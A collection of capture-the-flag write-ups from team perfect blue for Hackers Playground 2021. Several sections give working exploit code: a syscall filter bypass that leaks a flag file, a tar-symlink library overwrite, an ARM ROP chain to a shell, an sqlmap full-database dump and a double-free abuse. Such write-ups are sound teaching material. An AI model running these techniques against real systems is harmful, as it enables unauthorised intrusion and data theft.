# Hackers Playground 2021 Writeups
Writeups by team perfect blue
## SW Expert Academy
In this challenge, we are given an online code challenge website where we can compile and run code, and we get the output of how many test cases were passed.
The obvious things such as open/execve and other risky commands were filtered, however we could use `syscall`. Using this, we can basically do a open/read to read the flag file.
Since we don't get direct output, but only a boolean array of which testcases passed, we can use this information to extract the flag 3 bits at a time.
```py
import requests
def send(code):
req = requests.post("http://swexpertacademy.sstf.site/code", data={"code": code})
return req.json()
# Flag length is 40 characters
payload = """
int fd = syscall(2, "/flag.txt", 0, 0);
char flag[100] = {0};
int out = syscall(0, fd, flag, 100);
int bits[400] = {0};
int idx = 0;
for (int i = 0; i < out; i++) {
for (int j = 7; j >= 0; j--) {
bits[idx++] = flag[i] & (1 << j);
}
}
int sice = SICER;
int a, b, c, d, e, f; scanf("%d %d %d %d %d %d", &a, &b, &c, &d, &e, &f);
int g; scanf(" %d", &g);
if (a == 3 && bits[sice]) puts("2/3");
else if (a == 1 && g == 3 && bits[sice+1]) puts("5/12");
else if (a == 1 && g == 8 && bits[sice+2]) puts("1/2");
"""
ans = ''
for i in range(0, 390, 3):
curr = payload.replace("SICER", str(i))
out = send(curr)
for x in out:
ans += str(int(x))
print(ans)
# SCTF{take-care-when-execute-unknown-code}
```
## LostArk
The character variables were uninitialized, so you could create the secret toon, then delete it, and the next one would re-use the previous skill.
```bash
$ nc lostark.sstf.site 1337
=== menu ===
pick: 1
== create ==
1) Reaper 2) Bard 3) Warlord
pick: 7
=== menu ===
pick: 4
== choose ==
pick: 0
=== menu ===
You: [Special] Lupeon
pick: 2
== delete ==
pick: 0
=== menu ===
pick: 1
== create ==
1) Reaper 2) Bard 3) Warlord
pick: 1
name: 1
Hi 1
=== menu ===
pick: 4
== choose ==
pick: 0
=== menu ===
You: [Reaper] 1
pick: 6
= use skill =
cat flag
SCTF{Wh3r3 1s 4 Dt0r?}
```
## meLorean
```
There was a crazy Data Scientist who rectilinearly claimed mathematics can make miracles.
He left a note and then disappeared. Help to decode it.
```
In this challenge, there is a file called "dataset.txt", which contains 26 lines of tuple pairs, where the first number in each pair is an integer, and the second a float. Going through each line, sorting the tuples by the first number and plotting it, shows that every graph is increasing along the Y-axis, but with tiny glitches/perturbations.

Each graph can very accurately be approximated by a straight line, which is hinted to in the challenge text. We do some quick linear regression of order 1, and recover the slope of each line.
```python
import numpy as np
from matplotlib import pyplot as plt
for line in open("dataset.txt").read().splitlines():
L = sorted(eval(line))
x = [e[0] for e in L]
y = [e[1] for e in L]
# plt.plot(x,y); plt.show()
print(chr(int(round(np.polyfit(x,y,1)[0]))), end="")
# SCTF{Pr0gre55_In_R3gr3ss}
```
## Secure Enough
We were given a binary which implemented a custom data exchange protocol. We were also given a pcap which contained a capture of two such transfers.
First it generated around 64 bytes of random data by generating the md5 hash of a random output from `rand()`. However, the RNG was seeded using the current time.
First we used hashcat to recover the 4 bytes which were hashed into the random data.
```
a3e6f484d7865ab1056e15833c748bed - 0433e875
b689c0613fa1146a35f129797a770514 - 99a22a50
```
Once we have this, we can use a tool like `untwister` to find which seed generated these two random numbers consecutively.
```bash
$ ./untwister -i input.txt -d 2 -s 1529098943 -S 1729098943
[*] Depth set to: 2
[!] Not enough observed values to perform state inference, try again with more than 32 values.
[*] Looking for seed using glibc-rand
[*] Spawning 12 worker thread(s) ...
[*] Completed in 16 second(s)
[$] Found seed 1624347317 with a confidence of 100.00%
```
Now that we have the seed and the secret random data, we can just write a script to generate the AES key and decrypt the flag.
```py
from ctypes import CDLL
import hashlib
from pwn import *
from Crypto.Cipher import AES
libc = CDLL("libc.so.6")
seed = 1624347317
libc.srand(seed)
hash_1 = hashlib.md5(p32(libc.rand())).digest()
hash_2 = hashlib.md5(p32(libc.rand())).digest()
seed = 1624347317
libc.srand(seed)
hash_3 = hashlib.md5(p32(libc.rand())).digest()
hash_4 = hashlib.md5(p32(libc.rand())).digest()
print(hash_1.hex())
print(hash_2.hex())
remote_key = unhex('0ae04f33e00939ba0e50c7ccc0a90d933374486d9afffd052be8c8462d666120')
aes_key = hashlib.md5(b"A" + hash_1 + hash_2 + hash_3 + hash_4 + remote_key).digest()
aes_key += hashlib.md5(b"BB" + hash_1 + hash_2 + hash_3 + hash_4 + remote_key).digest()
aes_iv = hashlib.md5(b"CCC" + hash_1 + hash_2 + hash_3 + hash_4 + remote_key).digest()
cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
print(repr(cipher.decrypt(unhex("dc014f2266d9368dbd6fb5d3fa1d675cc2172ae703872afbadc94dc8cbc8afcda7c1177253fe51114041ad0103bbb865"))))
```
Running this, we get the flag:
```
$ python solve.py
a3e6f484d7865ab1056e15833c748bed
b689c0613fa1146a35f129797a770514
b'\x04SCTF{B3_CAR3_FULL_W1T4_RAND0M}\x00\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
```
## LostArk2
The object members are still uninitialized. However, the objects are within shared pointers. Creating, choosing, then deleting an object will cause a double free. Using this double free, we can re-use the previous skill by overlapping an object that is allowed skills over the special character object.
```bash
$ nc lostark2.sstf.site 1337
=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick:
== create ==
1) Reaper 2) Bard 3) Warlord
pick: name: Hi a
=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick:
== choose ==
pick:
=== menu ===
You: [Reaper] a
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick:
== delete ==
pick:
=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick:
== create ==
1) Reaper 2) Bard 3) Warlord
pick:
=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick:
== create ==
1) Reaper 2) Bard 3) Warlord
pick: name: Hi a
=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick:
== choose ==
pick:
=== menu ===
You: [Reaper] a
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick:
= use skill =
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
SCTF{KUKURUPPINGPPONG!}
```
## Memory
The binary uses tar archives to backup and restore backups.
Upload a tar file that creates a symlink to ../lib, then a second one that writes a file in there to overwrite the libutil.so in ../lib/ and get code exec.
```py
from pwn import *
import hashlib
import sys
import time
#gdb pipe-ing client
# context.terminal = ['/opt/gdb/client.sh']
OPTIONS = {
'binary' : './memory',
'server' : 'memory.sstf.site',
'port' : 31339,
'libc': None
}
def rc():
r.recvuntil(" :")
def upload_bak(filename):
with open(filename, "rb") as f:
data = f.read().encode('base64').replace("\n", "")
r.sendline('5')
rc()
r.sendline(str(len(data)))
rc()
r.send(data)
def create_archive(filename):
with open(filename, "rb") as f:
data = f.read()
data = "SCTF" + p32(len(data)) + hashlib.sha256(data).digest() + data
with open(filename+".sig", "wb") as f:
f.write(data)
def exploit(r):
# r.interactive()
rc()
create_archive("backup.tar")
upload_bak("backup.tar.sig")
create_archive("backup2.tar")
upload_bak("backup2.tar.sig")
r.interactive()
if __name__ == "__main__":
binary = ELF(OPTIONS['binary'], checksec=False)
# if OPTIONS['libc'] != None:
# libc = ELF(OPTIONS['libc'], checksec=False)
# else:
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
if args['REMOTE'] == '1':
r = remote(OPTIONS['server'], OPTIONS['port'])
exploit(r)
else:
r = process(OPTIONS['binary'])
# gdb.attach(r, gdb_commands)
pause()
exploit(r)
```
## Poxe Center
There was a SQL injection in the `sortName` field. We can use SQLMap to automatically dump this data.
```bash
./sqlmap.py -o -u "http://poxecenter.sstf.site:31888/demo/getGochaList?sortName=11&sortFlag=desc" -D public --dump-all
```
The flag is stored in one of the tables.
## Exchange
We found that it was possible to make a small amount of money using small decimal values during exchanges. Repeating this, it is possible to earn enough money to buy the flag.
```python
import requests
s = requests.Session()
s.get('http://exchange.sstf.site:7878/register.php')
for i in range(1500):
print(i)
s.post('http://exchange.sstf.site:7878/order.php', data={'ordertype': 'bid', 'pricetype': 'market', 'amount': '0.1003996'})
s.post('http://exchange.sstf.site:7878/order.php', data={'ordertype': 'ask', 'pricetype': 'market', 'amount': '0.1'})
s.post('http://exchange.sstf.site:7878/order.php', data={'ordertype': 'bid', 'pricetype': 'market', 'amount': '0.999'})
r = s.get('http://exchange.sstf.site:7878/claim.php?idx=1')
print(r.text)
```
## CyberPunk 2021
You can easily overwrite the return address with values in a 6x6 board. Also there are some values of a function that calls `execve("/bin/sh")`.
```c=
void __fastcall sub_DCA(__int64 a1)
{
__int64 v1; // rbx
int i; // [rsp+18h] [rbp-18h]
int j; // [rsp+1Ch] [rbp-14h]
for ( i = 0; i <= 5; ++i )
{
for ( j = 0; j <= 5; ++j )
{
do
{
if ( (rand() & 1) != 0 )
v1 = (__int64)sub_B5A; // execve("/bin/sh")
else
v1 = (__int64)&system;
*(_BYTE *)(6 * i + j + a1) = v1 >> (8 * (unsigned __int8)(rand() % 8));
}
while ( !*(_BYTE *)(6 * i + j + a1) );
}
}
}
```
The function ends with `B5A`, so what we need to do is 1. put enough values on the buffer to overwrite ret, 2. put `5A` and `XB` to jump to the function.

The flag is `SCTF{ch4LL3N63_pwn3d!_Y0u'r3_br347h74K1N6!}`.
## armarm
When saving notes the was a stack overflow if the username + note was larger than 100 characters, allowing ROP to be used. Since it was running with qemu, the base address of libc was static so a simple system("/bin/sh") gadget chain could be built and run.
```python
from pwn import *
def register(username, password):
p.sendlineafter(">>", "1")
p.sendlineafter("User:", username)
p.sendlineafter("Password:", password)
def login(username, password):
p.sendlineafter(">>", "2")
p.sendlineafter("User:", username)
p.sendlineafter("Pass:", password)
def print_notes():
p.sendlineafter(">>", "3")
def save_note(note):
p.sendlineafter(">>", "4")
p.sendlineafter("data:", note)
def exploit():
username = "A"* 80
password = "pass"
register(username, password)
login(username, password)
rop = ROP(libc)
rop.raw(libc.address + pop_r0)
rop.raw(libc.address + bin_sh)
rop.raw(libc.symbols["system"])
payload = b""
payload += cyclic(12)
payload += p32(0x12345678) + bytes(rop)
save_note(b"note://" + payload)
p.interactive()
if __name__ == "__main__":
context.arch = "arm"
pop_r0 = 0x0004c631 # 0x0004c630 (0x0004c631): pop {r0, pc};
bin_sh = 0x000d5f2c # /bin/sh
libc = ELF("libc-2.27.so", checksec=False)
libc.address = 0xff6c8000
binary = ELF("prob", checksec=False)
p = remote("armarm.sstf.site", 31338)
exploit()
```
## Men in Black Hats
This was a misc/coding challenge that we got first blood on.
We are given a python script with many coordinates of "stars," and it creates a picture with these stars. I noticed that the stars are given in 3d dimensions, but are only displayed in X/Y coordinates, and the Z coordinate is unused. This made me guess that all the points made a flag in 3d, but since we were only given a 2d projection we could not see the flag.
There was also this interesting area near the middle of the image:

I ended up plotting all the points in 3d using Matthew's Laboratory (MATLAB) and just dragging the camera around. However, this was not helpful. Then, I remembered the strange points (with radius 0) near the middle of the circle, so I decided to plot only those.
```matlab
x = [-98.113, -76.247, -104.097, -84.045, -91.402, -78.216, -86.376, -96.688, -83.63, -101.714, -96.921, -96.013, -68.139, -101.428, -82.231, -90.522, -81.299, -102.05, -79.564, -84.045, -84.407, -74.045, -87.724, -102.309, -74.15, -96.48, -105.417, -93.966, -78.968, -97.853, -94.485, -93.916, -85.081, -95.522, -99.278, -84.2, -84.226, -87.179, -77.62, -85.029, -79.407, -104.278, -88.475, -79.614, -96.221, -93.008, -87.024, -108.37, -84.848, -100.081, -104.64, -80.029, -80.832, -80.806, -105.598, -100.651, -92.205, -73.528, -76.454, -102.309, -79.278, -92.775, -98.034, -78.423, -79.226, -94.459, -100.703, -85.522, -95.184, -100.522, -94.667, -75.937, -91.583, -77.62, -82.31, -96.506, -73.864, -101.454, -78.942, -85.858, -77.31, -105.858, -86.661, -69.278, -94.848, -80.108, -90.417, -78.216, -109.459, -99.874, -86.013, -99.926, -99.304, -93.554, -83.423, -72.076, -85.003, -88.397, -102.905, -91.299, -93.578, -89.433, -78.242, -81.635, -84.486, -82.412, -88.837, -76.714, -84.538, -94.123, -89.874, -91.066, -71.714, -84.848, -104.097, -78.656, -79.459, -109.536, -78.916, -86.428, -102.386, -91.48, -83.864, -101.687, -81.195, -81.533, -101.714, -101.714, -85.055, -98.735, -75.832, -94.693, -94.538, -84.564, -79.433, -89.278, -91.816, -100.262, -67.698, -96.092, -98.268, -76.662, -99.926, -95.289, -96.895, -97.128, -77.231, -77.984, -81.454, -98.63, -76.895, -67.388, -78.89, -96.092, -82.129, -77.62, -99.071, -93.268, -104.407, -88.604, -99.719, -85.548, -107.438, -74.874, -94.407, -104.173, -68.995, -88.294, -82.879, -82.646, -97.931, -81.662, -87.283, -89.278, -90.625, -79.226, -92.543, -80.16, -96.144, -85.055, -93.034, -78.423, -102.309, -101.299, -76.428, -100.339, -86.688, -79.459, -102.698, -79.433, -76.04, -91.273, -76.352, -87.672, -102.879, -92.879, -101.48, -70.367, -84.381, -94.097, -86.869, -102.179, -81.766, -89.331, -99.667, -95.937, -87.879, -95.391, -93.682, -79.226, -90.548, -102.801, -78.449, -72.698, -79.019, -96.273, -101.661, -76.378, -101.895, -94.926, -80.418, -82.777, -84.226, -83.968, -90.107, -90.444, -88.89, -92.283, -75.73, -91.661, -78.087, -99.874, -84.174, -79.407, -74.045, -93.241, -75.444, -104.693, -105.236, -95.884, -92.593, -82.362, -77.257, -102.438, -83.113, -94.485, -101.714, -87.076, -73.139, -69.564, -103.501, -79.848, -107.333, -80.625, -81.559, -97.024, -93.241, -92.958, -105.987, -87.879, -74.252, -94.173, -98.735, -98.735, -96.714, -100.598, -102.491, -99.95, -76.559, -93.761, -105.651, -98.37, -87.62, -97.491, -80.236, -86.092, -85.236, -77.155, -81.895, -75.055, -91.895, -87.646, -87.179, -75.651, -101.687, -86.066, -106.971, -97.464, -76.428, -78.216, -90.289, -95.522, -106.013, -69.564, -93.966, -95.107, -100.496, -95.289, -84.614, -102.982, -69.874, -77.672, -71.533, -102.905, -103.06, -92.076, -76.662, -88.554, -78.554, -84.433, -73.58, -94.926, -85.418, -85.444, -82.205, -78.811, -77.465, -74.252, -78.216, -101.842, -87.102, -102.309, -96.039, -75.858, -98.32, -99.562, -92.386, -74.46, -85.134, -79.874, -87.076, -75.263, -78.683, -97.698, -82.646, -81.221, -77.491, -101.247, -79.822, -103.034, -82.751, -86.869, -101.714, -95.341, -82.284, -98.32, -98.735, -74.641, -92.205, -80.055, -82.205, -89.433, -97.698, -102.619, -75.677, -98.501, -89.097, -85.911, -107.05, -103.551, -95.107, -90.107, -98.682, -99.097, -73.191, -80.599, -79.407, -86.013, -86.816, -94.045, -78.423, -104.252, -98.735, -95.289, -78.735, -96.947, -92.905, -81.221, -97.128, -99.822, -84.641, -87.438, -83.837, -80.236, -83.423, -87.543, -95.677, -109.252, -83.449, -75.832, -101.53, -88.554, -82.491, -79.045, -86.661, -83.992, -75.134, -101.349, -88.837, -82.853, -83.656, -100.107, -88.139, -91.299, -82.31, -87.748, -103.268, -89.202, -90.522, -89.045, -84.433, -99.485, -89.667, -107.619, -105.858, -72.672, -81.869, -90.21, -94.874, -100.522, -79.407, -102.748, -75.055, -78.268, -80.003, -87.543, -82.412, -97.36, -86.661, -79.176, -97.619, -71.662, -78.113, -91.118, -81.998, -92.905, -104.874, -73.475, -93.475, -73.735, -87.024, -81.402, -102.982, -99.719, -86.066, -99.018, -89.252, -86.247, -75.444, -87.076, -96.869, -78.995, -90.391, -90.625, -110.21, -91.533, -83.008, -80.703, -90.444, -81.013, -75.082, -78.087, -93.113, -78.034, -86.066, -108.577, -80.289, -89.64, -89.486, -77.231, -95.081, -98.086, -85.885, -83.242, -81.635, -97.309, -80.21, -93.163, -98.708, -81.402, -98.034, -80.055, -106.48, -100.107, -75.832, -97.464, -85.003, -96.351, -97.593, -108.759, -81.428, -81.013, -101.895, -84.045, -77.672, -100.107, -94.381, -101.895, -94.538, -80.21, -98.735, -78.811, -77.362, -73.656, -77.62, -101.118, -87.853, -103.034, -76.974, -87.62, -97.698, -93.294, -73.916, -92.465, -89.304, -77.62, -110.987, -89.745, -102.152, -106.842, -91.376, -97.724, -97.619, -89.719];
y = [110.089, 97.604, 107.058, 97.163, 88.924, 91.593, 83.95, 105.297, 94.365, 110.27, 111.696, 91.1, 115.246, 93.872, 94.572, 111.929, 107.577, 98.068, 119.986, 97.163, 89.961, 97.215, 112.344, 109.467, 117.215, 103.898, 91.851, 82.111, 120.79, 98.69, 104.908, 110.711, 104.157, 111.903, 103.483, 88.562, 93.562, 84.546, 92.396, 94.158, 89.987, 103.457, 102.94, 91.386, 92.499, 90.116, 93.147, 82.835, 97.759, 104.079, 96.255, 94.184, 94.779, 89.78, 88.25, 98.276, 89.52, 113.018, 99.002, 109.467, 103.588, 83.717, 95.089, 92.992, 93.588, 99.908, 108.276, 111.955, 85.504, 111.877, 101.307, 114.805, 85.323, 92.396, 109.572, 108.898, 100.816, 98.872, 115.79, 99.753, 109.598, 99.649, 100.349, 103.64, 97.706, 109.183, 91.929, 91.593, 99.83, 102.68, 91.152, 112.68, 108.483, 117.913, 92.966, 103.225, 89.158, 87.94, 108.664, 107.525, 84.313, 94.934, 96.593, 95.375, 104.961, 90.971, 95.738, 110.401, 114.96, 112.11, 102.732, 101.126, 110.427, 97.759, 107.058, 99.391, 99.987, 76.229, 110.79, 93.95, 85.867, 103.924, 100.764, 105.27, 87.577, 113.976, 110.27, 110.27, 99.157, 114.286, 94.806, 106.307, 114.908, 119.96, 94.987, 103.535, 91.722, 100.478, 107.448, 106.1, 101.488, 100.401, 112.68, 105.504, 106.696, 113.094, 94.598, 123.795, 98.976, 94.286, 106.8, 124.65, 105.79, 106.1, 113.173, 92.396, 102.084, 101.514, 89.856, 89.339, 111.281, 116.955, 95.84, 102.811, 89.908, 83.457, 125.842, 106.541, 103.769, 97.37, 113.69, 100.375, 104.546, 103.535, 93.328, 93.588, 115.918, 119.183, 116.1, 99.157, 95.116, 92.992, 109.467, 107.473, 94.003, 76.877, 105.349, 99.987, 107.265, 94.987, 96.205, 102.525, 117.603, 102.344, 103.664, 103.717, 103.872, 120.635, 84.961, 107.11, 101.748, 84.468, 120.375, 113.535, 101.281, 114.701, 103.743, 86.903, 104.312, 93.588, 116.929, 88.664, 97.992, 107.422, 92.189, 102.499, 100.271, 122.603, 106.669, 112.706, 91.982, 122.37, 93.562, 120.763, 109.131, 96.929, 105.737, 104.52, 113.406, 100.323, 105.194, 102.68, 83.562, 89.987, 97.215, 96.515, 97.008, 106.255, 95.452, 104.701, 87.318, 119.572, 99.598, 95.866, 110.168, 104.908, 110.27, 103.147, 115.22, 120.039, 107.861, 97.785, 75.841, 93.381, 118.976, 93.095, 96.515, 118.716, 86.048, 103.743, 98.614, 83.509, 114.286, 114.286, 110.297, 88.276, 105.866, 79.079, 119.002, 119.312, 98.25, 82.888, 92.344, 105.892, 95.583, 106.152, 95.556, 118.199, 106.774, 99.21, 106.722, 97.344, 84.546, 98.407, 105.27, 101.152, 83.043, 100.893, 94.003, 91.593, 105.53, 111.903, 91.048, 120.039, 82.111, 109.105, 106.877, 105.504, 91.36, 85.063, 102.837, 102.396, 114.028, 108.664, 100.063, 103.121, 100.401, 117.939, 117.992, 94.961, 123.018, 112.706, 91.955, 96.955, 89.572, 90.79, 100.997, 98.614, 91.593, 96.67, 108.147, 109.467, 96.1, 99.806, 111.488, 81.281, 85.919, 100.013, 114.157, 102.785, 103.147, 100.609, 104.391, 107.291, 97.37, 92.577, 105.997, 97.473, 92.785, 95.063, 117.37, 101.748, 110.27, 115.504, 104.572, 111.488, 114.286, 96.412, 89.52, 99.184, 89.572, 94.934, 107.291, 92.265, 103.407, 107.887, 107.136, 109.753, 98.042, 79.26, 109.105, 109.131, 104.286, 107.084, 125.22, 88.381, 89.987, 91.152, 91.748, 97.11, 92.992, 98.457, 114.286, 105.504, 114.391, 116.695, 108.716, 92.577, 113.094, 92.68, 96.36, 95.945, 95.764, 95.583, 92.966, 115.945, 103.302, 98.431, 97.966, 94.806, 75.271, 117.939, 105.971, 97.189, 100.349, 87.163, 114.21, 78.872, 95.738, 98.769, 99.365, 109.079, 115.142, 107.525, 109.572, 78.743, 101.462, 127.136, 111.929, 97.137, 94.961, 104.882, 101.333, 92.239, 99.649, 102.422, 101.774, 90.53, 102.706, 111.877, 89.987, 78.665, 99.21, 101.593, 89.184, 115.945, 90.971, 80.893, 100.349, 122.189, 92.292, 100.428, 110.194, 111.126, 88.173, 108.716, 102.654, 103.018, 102.913, 114.417, 93.147, 88.976, 85.063, 111.281, 101.152, 92.084, 98.535, 97.551, 97.008, 103.147, 101.696, 125.79, 86.929, 93.328, 90.426, 113.924, 90.168, 108.38, 96.929, 91.178, 104.21, 105.194, 110.115, 95.194, 101.152, 84.234, 105.582, 96.333, 104.934, 94.598, 104.105, 105.089, 104.753, 96.567, 95.375, 109.493, 90.583, 81.515, 109.286, 88.976, 95.089, 99.184, 103.845, 109.079, 94.806, 100.893, 89.158, 117.499, 87.292, 80.633, 93.976, 91.178, 106.669, 97.163, 102.396, 109.079, 84.908, 106.669, 114.908, 90.583, 114.286, 90.79, 119.598, 99.417, 92.396, 111.074, 98.743, 95.063, 121.8, 92.344, 107.291, 106.514, 110.816, 100.919, 108.535, 92.396, 86.022, 116.333, 79.468, 96.643, 83.924, 112.291, 92.292, 111.333];
z = [683.667, 681.667, 694.667, 711.667, 707.667, 683.667, 691.667, 681.667, 681.667, 702.667, 695.667, 690.667, 697.667, 696.667, 681.667, 696.667, 708.667, 699.667, 687.667, 681.667, 681.667, 707.667, 687.667, 685.667, 701.667, 685.667, 705.667, 698.667, 695.667, 697.667, 711.667, 706.667, 695.667, 696.667, 683.667, 703.667, 700.667, 695.667, 691.667, 684.667, 688.667, 692.667, 689.667, 684.667, 705.667, 685.667, 684.667, 698.667, 681.667, 687.667, 703.667, 685.667, 684.667, 696.667, 690.667, 698.667, 685.667, 692.667, 682.667, 696.667, 708.667, 694.667, 704.667, 688.667, 706.667, 682.667, 707.667, 692.667, 692.667, 693.667, 700.667, 691.667, 699.667, 702.667, 701.667, 711.667, 700.667, 689.667, 688.667, 710.667, 690.667, 692.667, 686.667, 711.667, 693.667, 683.667, 696.667, 693.667, 710.667, 686.667, 688.667, 687.667, 681.667, 681.667, 682.667, 692.667, 697.667, 691.667, 686.667, 711.667, 689.667, 681.667, 711.667, 683.667, 705.667, 692.667, 711.667, 686.667, 701.667, 700.667, 681.667, 704.667, 699.667, 711.667, 681.667, 692.667, 707.667, 695.667, 689.667, 685.667, 686.667, 681.667, 709.667, 705.667, 706.667, 696.667, 703.667, 689.667, 711.667, 695.667, 694.667, 701.667, 711.667, 697.667, 705.667, 707.667, 707.667, 691.667, 681.667, 695.667, 684.667, 690.667, 691.667, 681.667, 684.667, 689.667, 686.667, 688.667, 696.667, 709.667, 695.667, 697.667, 684.667, 711.667, 694.667, 690.667, 703.667, 694.667, 704.667, 689.667, 695.667, 692.667, 697.667, 694.667, 695.667, 703.667, 699.667, 690.667, 683.667, 687.667, 703.667, 699.667, 711.667, 698.667, 690.667, 703.667, 694.667, 691.667, 696.667, 704.667, 704.667, 687.667, 688.667, 705.667, 701.667, 699.667, 681.667, 694.667, 699.667, 686.667, 694.667, 699.667, 691.667, 686.667, 690.667, 709.667, 711.667, 693.667, 682.667, 686.667, 682.667, 706.667, 700.667, 687.667, 701.667, 690.667, 702.667, 698.667, 682.667, 686.667, 689.667, 700.667, 685.667, 703.667, 703.667, 702.667, 707.667, 694.667, 685.667, 681.667, 697.667, 694.667, 711.667, 690.667, 695.667, 687.667, 702.667, 711.667, 706.667, 711.667, 701.667, 709.667, 708.667, 682.667, 686.667, 696.667, 702.667, 700.667, 687.667, 683.667, 685.667, 688.667, 700.667, 707.667, 694.667, 681.667, 690.667, 707.667, 700.667, 701.667, 684.667, 694.667, 695.667, 688.667, 696.667, 706.667, 708.667, 691.667, 694.667, 710.667, 700.667, 704.667, 698.667, 707.667, 709.667, 687.667, 683.667, 689.667, 691.667, 711.667, 699.667, 699.667, 697.667, 685.667, 689.667, 682.667, 682.667, 697.667, 687.667, 682.667, 681.667, 686.667, 694.667, 709.667, 697.667, 711.667, 703.667, 710.667, 695.667, 697.667, 711.667, 705.667, 704.667, 691.667, 691.667, 711.667, 709.667, 711.667, 685.667, 688.667, 709.667, 687.667, 700.667, 697.667, 705.667, 710.667, 703.667, 690.667, 702.667, 685.667, 699.667, 689.667, 708.667, 682.667, 695.667, 687.667, 711.667, 693.667, 705.667, 706.667, 708.667, 708.667, 686.667, 691.667, 702.667, 700.667, 694.667, 698.667, 684.667, 702.667, 681.667, 681.667, 692.667, 709.667, 681.667, 683.667, 703.667, 699.667, 707.667, 689.667, 687.667, 711.667, 704.667, 703.667, 695.667, 708.667, 699.667, 698.667, 707.667, 689.667, 702.667, 709.667, 683.667, 691.667, 705.667, 687.667, 689.667, 684.667, 694.667, 698.667, 705.667, 706.667, 708.667, 683.667, 690.667, 692.667, 704.667, 703.667, 692.667, 685.667, 711.667, 703.667, 701.667, 682.667, 706.667, 706.667, 710.667, 709.667, 693.667, 684.667, 683.667, 705.667, 695.667, 686.667, 695.667, 688.667, 709.667, 681.667, 709.667, 700.667, 691.667, 697.667, 709.667, 705.667, 706.667, 689.667, 696.667, 688.667, 702.667, 706.667, 710.667, 706.667, 708.667, 693.667, 685.667, 710.667, 691.667, 711.667, 700.667, 698.667, 711.667, 692.667, 686.667, 689.667, 703.667, 696.667, 694.667, 708.667, 699.667, 692.667, 696.667, 700.667, 711.667, 696.667, 685.667, 703.667, 687.667, 697.667, 710.667, 692.667, 684.667, 684.667, 684.667, 691.667, 692.667, 709.667, 709.667, 701.667, 681.667, 688.667, 710.667, 699.667, 705.667, 689.667, 693.667, 705.667, 710.667, 681.667, 683.667, 711.667, 694.667, 699.667, 703.667, 682.667, 695.667, 693.667, 699.667, 699.667, 681.667, 705.667, 698.667, 707.667, 693.667, 688.667, 681.667, 701.667, 698.667, 692.667, 711.667, 689.667, 688.667, 681.667, 682.667, 700.667, 709.667, 703.667, 697.667, 695.667, 687.667, 701.667, 708.667, 709.667, 683.667, 684.667, 699.667, 683.667, 711.667, 709.667, 694.667, 699.667, 709.667, 708.667, 697.667, 705.667, 706.667, 686.667, 695.667, 687.667, 689.667, 690.667, 682.667, 681.667, 697.667, 698.667, 703.667, 705.667, 703.667, 702.667, 697.667, 688.667, 681.667, 697.667, 687.667, 681.667, 682.667, 689.667, 697.667, 694.667, 704.667, 690.667, 705.667, 711.667, 689.667, 700.667];
plot3(x,y,z,'o')
```
This was very helpful, as after rotating for a little bit I was able to see this:

This is obviously a QR code! With a bit more zooming and rotation, I was able to rotate to an even better angle:

This still didn't scan though, so I changed the points to black squares:

Then filled the non-square area with black and flipped the image horizontally:

This scanned properly from my phone, and we got the flag.
`SCTF{MiB_sh0u1d_t@k3_c4re_0f_my_CAt}`
## Mars Rover
This was a forensics challenge that we got first blood on.
We were given an image of a mars rover.
The first thing I tried was opening it in zsteg. This was not very useful. The next thing I tried was opening it in tweakpng, to see the data chunks:

There are so many IDATs, all with different sizes! This is very suspicious. My initial thought was that the flag was encoded in the length fields, but then I noticed something even more interesting: most of the LSBs in the CRC are the same! The ones that are different, are all printable ASCII too:

I quickly wrote a script to get this data:
```python
a = open('MarsRover.png','rb').read()
b = a.split("IDAT")
deetos = []
for i in b:
deetos.append(i[-8:-4].encode('hex'))
print ''.join([i[-2:].decode('hex') for i in deetos])
```
This prints out the flag.

`SCTF{M4rti@n_wi11_b3_bACk_aT_anY_t1M3}`
## Remains
This was a forensics challenge that we got first blood on.
We were given a VirtualBox saved state file (you can check by opening the file, the first bytes are `VirtualBox SavedState V2.0`).
I did a quick google search and saw there were past CTF challenges using this format, and found this writeup: https://ox002147.gitlab.io/writeup-bitsctf-for60.html
I also noticed at the end there was a .png file, used for the screen capture to show on virtualbox. After extracting it, we saw that it showed a shell, with ./sav and "Wanna flag?"

Using the tool linked in the writeup (https://www.dropbox.com/sh/vtsk0ji7pqhje42/AABY57lRqinlwZpo8t9zzGYka), I extracted the data from .sav, and searched the largest file for "Wanna flag?", and found a .elf binary.

This was a simple binary that would XOR the flag string with `SCTF{`. Scrolling a little bit up in the extracted data from the .sav, we found this string:

After xoring with repeated "SCTF{", it gave the flag.
`SCTF{m3m0ry_15_7h3_k3y_n07_70_7h3_p457_bu7_70_7h3_ch4ll3n63!}`
## Logic or Die
The given circuit checks 8 bytes of the input. The checking logic is like:
1. `ror(inp[2], 5) ^ 0x34 == 0x98`
2. `inp[3] == 0x67`
3. `inp[7] >> 3 == 0xd`, `bitcount(inp[7]) == 5`
4. `inp[4] - 0xa3 == 0xbe`, `inp[4] + 0xa3 == 0x04`
5. `~(-inp[6] ^ 0x3) == 0x36`
6. `(inp[5] ^ inp[0]) + (inp[0] ^ inp[1]) == 0x6c`, `(inp[5] ^ inp[0]) - (inp[0] ^ inp[1]) == 0x0c`
7. `RNG(seed=42)[inp[5]] == 0x01`
The other part of the circuit is about doing RC4 to print the flag. Because of ambiguity of the condition 3, there are three possible keys:
```
59 69 65 67 61 65 33 6b
59 69 65 67 61 65 33 6d
59 69 65 67 61 65 33 6e
```
The right key was `59 69 65 67 61 65 33 6e`, and the flag is `SCTF{lOgic_e1em3nt5_maTteRs}`.
## ADBaby
We are given a command to run in adb: `adb connect adbaby.sstf.site:6666`
